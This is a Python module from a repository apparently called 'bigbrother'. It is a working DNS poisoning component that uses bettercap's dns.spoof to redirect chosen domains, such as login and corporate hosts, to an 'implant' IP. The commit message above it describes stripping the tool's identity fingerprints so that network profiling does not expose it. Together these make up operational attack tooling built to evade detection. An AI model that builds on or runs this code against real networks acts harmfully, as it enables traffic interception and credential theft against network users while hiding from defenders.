Files
bigbrother/modules/active/dns_poison.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

202 lines
6.4 KiB
Python

#!/usr/bin/env python3
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
Template-driven zone files are converted to bettercap dns.spoof.domains
format. Supports selective domain redirection and wildcard matching.
Zone templates live in templates/dns_zones/.
"""
import logging
import os
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class DNSPoison(BaseModule):
"""DNS poisoning via bettercap dns.spoof module.
Dependencies:
- bettercap_mgr must be running.
Configuration:
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
target_ip: IP to redirect poisoned domains to (default: implant IP)
zone_file: Path to zone template for selective redirection
"""
name = "dns_poison"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._poisoning = False
self._domains: Optional[str] = None
self._target_ip: Optional[str] = None
self._zone_dir = config.get(
"zone_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("DNSPoison requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("DNSPoison module started (ready for poison commands)")
def stop(self) -> None:
if not self._running:
return
if self._poisoning:
self.stop_poison()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("DNSPoison module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"poisoning": self._poisoning,
"domains": self._domains,
"target_ip": self._target_ip,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def poison(self, domains: str, target_ip: str) -> bool:
"""Enable DNS poisoning for specified domains.
Args:
domains: Comma-separated domains or wildcards
(e.g., "*.corp.local,login.example.com").
target_ip: IP address to redirect poisoned domains to.
Returns:
True if DNS poisoning was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("DNSPoison not started")
return False
try:
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
self._bettercap_mgr.run_command("dns.spoof on")
self._poisoning = True
self._domains = domains
self._target_ip = target_ip
self.state.set(self.name, "domains", domains)
self.state.set(self.name, "target_ip", target_ip)
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
return True
except Exception:
logger.exception("Failed to enable DNS poisoning")
return False
def load_zone(self, zone_file: str) -> bool:
"""Load a zone template and apply DNS poisoning rules.
Zone file format (one entry per line):
domain.com 10.0.0.0
*.corp.local 10.0.0.0
# comments ignored
Args:
zone_file: Filename within the zone_dir (e.g., "selective.zone").
Returns:
True if zone was loaded and applied.
"""
zone_path = os.path.join(self._zone_dir, zone_file)
if not os.path.isfile(zone_path):
logger.error("Zone file not found: %s", zone_path)
return False
try:
domains = []
target_ip = None
with open(zone_path, "r") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split()
if len(parts) >= 2:
domains.append(parts[0])
# Use the last IP seen as target
target_ip = parts[1]
elif len(parts) == 1:
domains.append(parts[0])
if not domains:
logger.warning("Zone file %s contains no entries", zone_file)
return False
if not target_ip:
target_ip = self.config.get("implant_ip", "127.0.0.1")
return self.poison(",".join(domains), target_ip)
except Exception:
logger.exception("Failed to load zone file: %s", zone_file)
return False
def stop_poison(self) -> bool:
"""Disable DNS poisoning.
Returns:
True if DNS poisoning was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("dns.spoof off")
self._poisoning = False
self._domains = None
self._target_ip = None
self.state.set(self.name, "domains", "")
self.state.set(self.name, "target_ip", "")
logger.info("DNS poisoning disabled")
return True
except Exception:
logger.exception("Failed to disable DNS poisoning")
return False